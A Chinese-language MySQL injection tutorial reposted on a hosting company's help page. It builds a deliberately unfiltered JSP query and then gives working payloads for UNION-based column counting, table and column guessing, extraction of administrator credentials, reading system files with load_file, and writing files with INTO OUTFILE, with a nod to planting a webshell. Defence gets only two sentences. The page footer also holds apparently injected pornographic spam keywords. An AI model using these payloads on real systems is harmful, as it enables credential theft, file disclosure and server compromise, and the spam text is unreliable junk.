1. <var id="fe6gj"></var>

    <rp id="fe6gj"><nav id="fe6gj"></nav></rp>

    <noframes id="fe6gj"><cite id="fe6gj"></cite>

    <ins id="fe6gj"><button id="fe6gj"><p id="fe6gj"></p></button></ins>
    1. <tt id="fe6gj"><i id="fe6gj"><sub id="fe6gj"></sub></i></tt>
        始創于2000年 股票代碼:831685
        咨詢熱線:0371-60135900 注冊有禮 登錄
        • 掛牌上市企業
        • 60秒人工響應
        • 99.99%連通率
        • 7*24h人工
        • 故障100倍補償
        您的位置: 網站首頁 > 幫助中心>文章內容

        MYSQL數據庫注射精華

        發布時間:  2012/7/4 14:37:13
        Tsenable 前言
          鄙人今天心血來潮突然想寫篇文章,鄙人從來沒寫過文章,如果有錯誤的地方請多多指教.
          本文需要有基礎的SQL語句知識才可以更好的理解.建議想學習的人多去了解一下SQL語句
          和編程語言,知己知彼才能百戰百勝.
          我不希翼得到讀者您的好評,盡管我盡力了;只希望本文能解決您學習過程的障礙,希望
          您早日掌握有關MYSQL 注入方面的知識.
          1.MYSQL 注射的產生.
          漏洞產生原因 : 程序執行中未對敏感字符進行過濾,使得攻擊者傳入惡意字符串與結構
          化數據查詢語句合并,并且執行惡意代碼.
          咱們先創造一個沒有過濾的程序. 因為我機器上沒有PHP,所以我就是用 JAVA 了,我會
          詳細注釋.
          代碼
          數據庫:
          create database if not exists `test`;
          USE `test`;
          /*數據表 `account` 的表結構*/
          DROP TABLE IF EXISTS `account`;
          CREATE TABLE `account` (
          `accountId` bigint(20) NOT NULL auto_increment,
          `accountName` varchar(32) default NULL,
          `accountPass` varchar(32) default NULL,
          PRIMARY KEY (`accountId`)
          ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
          /*數據表 `account` 的數據*/
          insert into `account` values
          (1,’account1’,’account1’);
          /*數據表 `admin` 的表結構*/
          DROP TABLE IF EXISTS `admin`;
          CREATE TABLE `admin` (
          `adminId` bigint(20) NOT NULL auto_increment,
          `adminName` varchar(32) default NULL,
          `adminPass` varchar(32) default NULL,
          PRIMARY KEY (`adminId`)
          ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
          /*數據表 `admin` 的數據*/
          insert into `admin` values
          (1,’admin’,’admin’);
          :
          程序:
          <%@ page language="java" import="java.util.*,java.sql.*"
          pageEncoding="utf-8"%>
          <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
          <html>
          <body>
          <%
          //連接MYSQL的字符串.
          //jdbc:mysql://localhost:3306/test
          //驅動:數據庫://地址:端口/數據庫名稱
          String mysqlConnection = "jdbc:mysql://localhost:3306/test";
          //加載驅動 com.mysql.jdbc.Driver 是JAVA與MYSQL 連接用的JDBC驅動
          Class.forName("com.mysql.jdbc.Driver").newInstance();
          //建立MYSQL鏈接 root是用戶名 cx0321 是密碼
          Connection connection = DriverManager.getConnection(mysqlConnection,
          "root", "cx0321");
          //建立一個查詢對象
          Statement statment = connection.createStatement();
          //建立一個查詢返回集合. 就是說查詢完以后返回的數據全部都在這個里面.
          ResultSet resultSet = null;
          //從account里面讀取數據.
          resultSet = statment.executeQuery("select * from account where accountId
          = ’"+ request.getParameter("id") +"’");
          //循環,直到resultSet結束
          while(resultSet.next())
          {
          //從resultSet讀取出值輸出到頁面.
          out.print(resultSet.getInt(1)+"|");//取出第一列的值,因為是數字類型的所
          以是getInt();
          out.print(resultSet.getString(2)+"|");//取出第二列的值,因為是字符串類
          型的所以是getString();
          out.print(resultSet.getString(3)+"|");
          out.print("<br />");//頁面輸出換行
          }
          %>
          </body>
          </html>
          2.漏洞的利用
          
          (壞狼安全網提供圖1)
          這個就是數據庫里的記錄了.以后黃色為關鍵語句,紅色為輸入的部分.
          大家注意看resultSet = statment.executeQuery("select * from account
          where accountId = ’"+ request.getParameter("id") +"’");
          這里的request.getParameter("id") 是獲取GET 傳參的id 參數, 也就是
          mysqlInject.jsp?id=1 這里的id. 這樣這個SQL 語句就變成了select * from
          account where accountId = ’1’ 了.如果加以變換呢?
          2.1 漏洞的檢測
          我們把id 寫成mysqlInject.jsp?id=1’ 那么SQL 語句就變成select * from
          account where accountId = ’1’’ 了,這樣的話SQL 語句就會報錯,因為SQL 語句的值
          是需要2 個包含符號,比如’和”如果只是數字可以什么都不寫.如果不報錯的話就說明程序替換,
          過濾或者其他方法來防護了.
          
          那么我們可以繼續來測驗, mysqlInject.jsp?id=1’ and ’’=’ 那么SQL 語句就變
          成了select * from account where accountId = ’1’ and ’’ = ’’ ,應該返回正
          常.
          
          有些人說我的為什么返回不正常呢? 有2 種原因,第一是程序把惡意字符過濾了;第二是程
          序的語句和我寫的不一樣select * from account where accountId = 1’ and ’’=’.
          這個問題在下邊會談到.
          2.2 Union 查詢猜此次查詢列的數量
          這里有的人會說猜此次查詢列的數量有什么用?如果只是檢測當然沒有,但是你想進一
          步的利用那么就有大的用處了,文章后邊會講到的,耐心.
          如果懂SQL 的人應該知道UNION 查詢吧?UNION 查詢就是聯合查詢,執行第二條查詢
          語句將返回值和本次查詢合并.
          大家想想,如果要和本次查詢值合并需要一個什么條件呢?需要聯合查詢的列數和此
          次查詢的列數相等.如果不想等的話就會無法合并,那么就會報錯.通過這一特點聰明的你應該
          會想出這么才列數了吧?
          那么我們要的就是使得UNION 查詢出來的列數與本次查詢出來的列數相等.也就是說不報
          錯就會相等.
          先從第一列開始猜,那么要把這個語句union select 1 構造在地址程序的語句當中.
          那么語句就是mysqlInject.jsp?id=1’ and union select 1 and ’’=’ 這樣的.
          有些人問為什么后邊(綠色的部分)要加上and ’’=’ 呢? 也許大家記了吧,我們的SQL 語
          句是需要兩個包含符號的,語句select * from account where accountId = ’1’ 我
          們輸入的是在1 那個位置,所以要去除后邊的’,否則語句會報錯的.
          在本程序里也就是’ 如果你要想消除’ 有很多辦法,為了讓大家明白所以我現在使用and
          ’’=’.
          先說一說有幾種辦法消除這個’
          1. 使用 and ’’ = ’ 雖然不夠方便,但是在復雜SQL 語句里不會報錯的.
          2. 使用注釋 # 或者 /**/, 這樣可以把后面的東西全部注釋掉,但是有一個大問題,就
          是在執行復雜SQL 語句的時候有可能會報錯.
          有些人測試,咦?為什么我加了#還是會報錯呢?因為本次是使用GET 傳參,在地址欄傳
          參.大家想想,當初下載帶#名稱的數據庫是什么樣子呢?哦,對了,#是地址欄的結束符,
          就是說#包括#以后的字符全部不傳入.所以#在GET 模式下注入注入不起作用.
          那么有些工具寫的在構造注射的時候為什么是
          mysqlInject.jsp?id=1’/**/and/**/union/**/select/**/1/**/and/**/’’
          /**/= /**/’/* 呢? 因為在程序里邊有函數可以把傳入參數里面的空格去除,如果去除
          了空格,將會是程序產生了錯誤的語句,那么就會一直報錯了.所以有些工具就是用/**/這
          種東西來取代空格了.
          那 /**/ 又是什么呢? /**/ 是一種注釋,叫做文檔注釋,就是從/* 開始直到*/ 結束,中
          間任何代碼都會成為注釋,所以是程序員在寫大量注釋時候所使用的一種注釋.
          那最后的/* 是什么呢? 那個是用來解決 SQL 語句 包含符號沒有成雙成對的.
          我們開始測試.
          mysqlInject.jsp?id=1 ’/**/union/**/select/**/1/*
          select * from account where accountId = ’1
          ’/**/union/**/select/**/1/*’.
          
          注意到最低下那句話了嗎?
          javax.servlet.ServletException: The used SELECT statements have a
          different number of columns
          大概意思是”這個使用的查詢列數不同”,由此得出此次查詢不是查詢了一個表.
          以此類推, select 1 select 1,2 select 1,2,3 知道正確位置,那么你現在說寫的列數也
          就是本次查詢的列數了.
          
          大家看到地下返回 1|2|3| ,這個值是從咱們的UNION查詢里合并出來的. 試試把UNION
          SELECT 1,2,3 換成 UNION SELECT 4,5,6 看看.地下是不是編程了 4|5|6| 了?
          
          有人說 你都是騙人的 我怎么換,我都換到789 了也沒有出來,還是現實原來的數據,你騙
          人;我沒有騙人,我也不會騙人;那為什么出不來?
          有些程序寫的時候只是把數據返回集合的第一行輸出,但是UNION 查詢以后是把數據合并
          到此次查詢以后,那么他只輸出了此次查詢的數據,其實UNION 查詢的數據也有,但是他沒有輸
          出.那怎么辦呢?聰明的人一定會想到. 啊,原來如此,只要讓此次查詢不輸出就可以了.哈哈哈,
          我聰明了,可是怎么讓此次查詢不輸出呢? 先告訴大家一個簡單的方法,看看SQL 語句,我們是
          做過限制條件的. Where accountid = ? ,那么也就是說讓這個accoundId 限制到一個沒
          有的id 上那么不就會沒有了? 心動不如行動,試試.
          mysqlInject.jsp?id=1000’/**/union/**/select/**/4,5,6/*
          select * from account where accountId
          =1000’/**/union/**/select/**/4,5,6/*
          
          哈哈,果然沒有了!!! 注意綠色的部分,指定查詢一個沒有的id ,那么他理所當然的就會
          蒸發了.
          2.3 低幾率另類猜此次查詢列的數量
          此方法雖然幾率低一點,但是會大大減少工作量的.次方法只適用于 select * 的簡易
          SQL 語句.
          這個方法是用的是 mysql 里的 order 排序. 排序是按照順序排下來.我們來寫一條
          SQL 語句. Select * from account where accountId = ’1’ order by accountId
          那么這個SQL 語句也就是根據 accountId 升序排序. 那么我們不知道他有什么怎么辦,而且
          這怎么猜? 這里是關鍵問題. MYSQL 支持列編號排序Select * from account where
          accountId = ’1’ order by 1 這樣也就是按照第一列排序.
          哎呀,你又在騙我們,排序怎么猜列的數量? 那么我按照一個不存在的列排序呢? 比如第四
          列? 你一般身上有3 個口袋,一個最多10 元錢,一天吃一頓,一頓3 斤米,一斤米一元,但是你今
          天吃了4 斤米,需要40 元,你卻只有3 個口袋,你就沒有40 元,你就要挨打了.
          也就是說一共有3 個列,order by 3 ,按照第3 列排序,正常,order by 4,按照第4
          列排序,沒有第4 列,出錯.那么也就說明他有4 列.
          這種方法是根據人的經驗判斷的.我一般使用這個方法都會成功,就是不成功也相差不多.
          2.4 使用UNION 猜其他表,查詢其他表
          使用此方法可以查詢到其他表里的內容.比如查詢管理員的密碼等.但是有個前題,必須道要
          才表的表名和列名. 那怎么才能知道呢? 猜!!! 因為MYSQL 和SQLSERVER 的系統函數不一
          樣,SQLSERVER 里有 SP_HELPDB 而MYSQL 里沒有,所以只能猜了.
          好,開始構造語句. 我們要猜看看有沒有admin 表.
          mysqlInject.jsp?id=1’/**/union/**/select/**/4,5,6/**/from/**/admin/*
          SQL : select * from account where accountId =
          ’1’/**/union/**/select/**/4,5,6/**/from/**/admin/*’
          如果正常的有admin 表的話,那么返回是正常的,如果沒有的話會報錯的.
          
          大家看到了吧? 有admin 這個表,為了讓大家更好的理解,我們在猜一個其他不存在的表.
          mysqlInject.jsp?id=1’/**/union/**/select/**/4,5,6/**/from/**/helloword/*
          SQL : select * from account where accountId =
          ’1’/**/union/**/select/**/4,5,6/**/from/**/ helloword/*’
          
          看到了吧?沒有 helloworld 這個表.所以報錯了.
          又問,為什么還是會寫4,5,6 呢? 啊哈,因為我們不知道他的列名,如果寫了 * 他將會全部列
          出來,如果和此次查詢的列不相等,那么就會報錯了.所以要寫一個相等的.
          現在表名出來了,怎么才列名呢?哎呀,大家太聰明了,直接把4,5,6 其中一個替換成列名
          不久行了? 那么構造出.
          mysqlInject.jsp?id=1’/**/union/**/select/**/adminId,5,6/**/from/**/admin/*
          SQL : select * from account where accountId =
          ’1’/**/union/**/select/**/adminid,5,6/**/from/**/admin/*’
          
          看見了嗎? 1|5|6 的一就是 adminid.如果正常那么就是存在了. 大家可以把列名猜出來,然后
          帶入UNION 查詢中,這樣就查出來管理員帳號或者密碼了.現在我要把列名一次全部帶入.
          mysqlInject.jsp?id=1’/**/union/**/select/**/adminId,adminName,adminPass/**/from/**/admin/*
          SQL : select * from account where accountId =
          ’1’/**/union/**/select/**/adminid,adminName,adminPass/**/from/**/admin
          /*’
          哈哈,出來了, 1|admin|admin| 就是 adminid|adminName|adminPass|
          也可以在union 查詢上限制條件,比如你知道有admin 這個用戶那么就構造 union select
          adminId,adminName,adminPass from admin where adminName = ‘admin’,看個人的發揮了.
          2.5 使用MYSQL 系統函數.
          2.5.1.1.1 使用 load_file() 函數 顯示文件.
          Load_file 顧名思義.就是加載文件,可不是運行啊,是顯示內容,但是必須對文件擁
          有讀取權限.我們先來構造一個顯示 c:\boot.ini 文件的語句.
          mysqlInject.jsp?id=1’/**/union/**/select/**/1,load_file(0x633A5C626F6F742E696E69),
          3/*
          SQL : select * from account where accountId =
          ’1’/**/union/**/select/**/1,
          load_file(0x633A5C626F6F742E696E69),3/*’
          
          看到了嗎? C:\boot.ini 文件的內容. 又問,為什么load_file() 里面是
          亂碼呢? 那不是亂碼,那個是C:\boot.ini 16 進制編碼. 因為本函數無法處理
          直接寫的路徑,只能能使用16 進制或者是 Ascii 編碼.所以要將路徑轉換成 16
          進制或者是Ascii 編碼才可以執行.
          又問,為什么load_file 是在第二列的位置上,不是在第一列或者第三列的位置上呢?
          因為啊,第一列不行,其他的都可以,第一列是一個 INT 類型,一個數字類型,難道你會
          把你女朋友送進男廁所嗎? 呵呵.玩笑.如果是在 linux 下可以使用 / 來列目錄 ,但
          是必須有列目錄的權限.
          通過load_file 可以列目錄,讀文件,但是遇到文件格式編碼的時候也許會遇到亂碼
          的問題. 這個問題可以這么解決. 使用 subString 函數, subString(字符串,開始,返
          回).
          假設我們要返回第三個字符, 那么就是
          mysqlInject.jsp?id=1’/**/union/**/select/**/1,substring(load_file(0x633A5C626F6F742
          E696E69),3,1) ,3/* 這樣我們就返回了第三個字符,用于解決亂碼是非常好的辦法.
          我近期會做一個這樣個工具,將會公布在我的個人主頁上.
          2.5.1.1.2 使用outfile 寫WEBSHELL.
          mysql 有一個功能,就是把查詢的結果輸出.就是outfile.先來構造一個簡單的語句.
          select ‘hello word’ into outfile ‘c:\\a.txt’ 這里是講 ‘hello word’ 輸出到 c:\a.txt
          那么在網站也來構造一下.
          mysqlInject.jsp?id=1’/**/union/**/select/**/1,’hello’,3/**/into/**/outfile/**/’c:\\hello.txt’/
          *
          SQL : select * from account where accountId =
          ’1’/**/union/**/select/**/1,
          ’hello’,3/**/into/**/outfile/**/’c:\\hello.txt’/*’
          成功插入.但是為什么會報錯呢?哦,那是因為你把數據寫到文件中,返回集合什
          么都沒有了,當然會報錯了.如果你把hello 換成 一句話或者其他的,如果寫入
          到網站目錄下,那是多么恐怖啊…
          2.5.1.1.3 System 系統命令
          如果使用system 就相當于SQLSERVER 的xp_cmdshll 一樣.
          2.漏洞的防護和總結
          通過過濾特殊關鍵字來防護.代碼網站很多,我這里就不寫了.
          針對JAVA 有一種防護措施,就是使用PreparedStatement 對象進行查詢,這里也不多說
          了.
          本文只是一個概括的講述,如果應用到實戰當中需要結合經驗.


        本文出自:億恩科技【www.endtimedelusion.com】

        服務器租用/服務器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質保障!--億恩科技[ENKJ.COM]

      1. 您可能在找
      2. 億恩北京公司:
      3. 經營性ICP/ISP證:京B2-20150015
      4. 億恩鄭州公司:
      5. 經營性ICP/ISP/IDC證:豫B1.B2-20060070
      6. 億恩南昌公司:
      7. 經營性ICP/ISP證:贛B2-20080012
      8. 服務器/云主機 24小時售后服務電話:0371-60135900
      9. 虛擬主機/智能建站 24小時售后服務電話:0371-60135900
      10. 專注服務器托管17年
        掃掃關注-微信公眾號
        0371-60135900
        Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權所有  地址:鄭州市高新區翠竹街1號總部企業基地億恩大廈  法律顧問:河南亞太人律師事務所郝建鋒、杜慧月律師   京公網安備41019702002023號
          0
         
         
         
         

        0371-60135900
        7*24小時客服服務熱線

         
         
        av不卡不卡在线观看_最近2018年中文字幕_亚洲欧美一区二区三区_一级A爱做片免费观看国产_日韩在线中文天天更新_伊人中文无码在线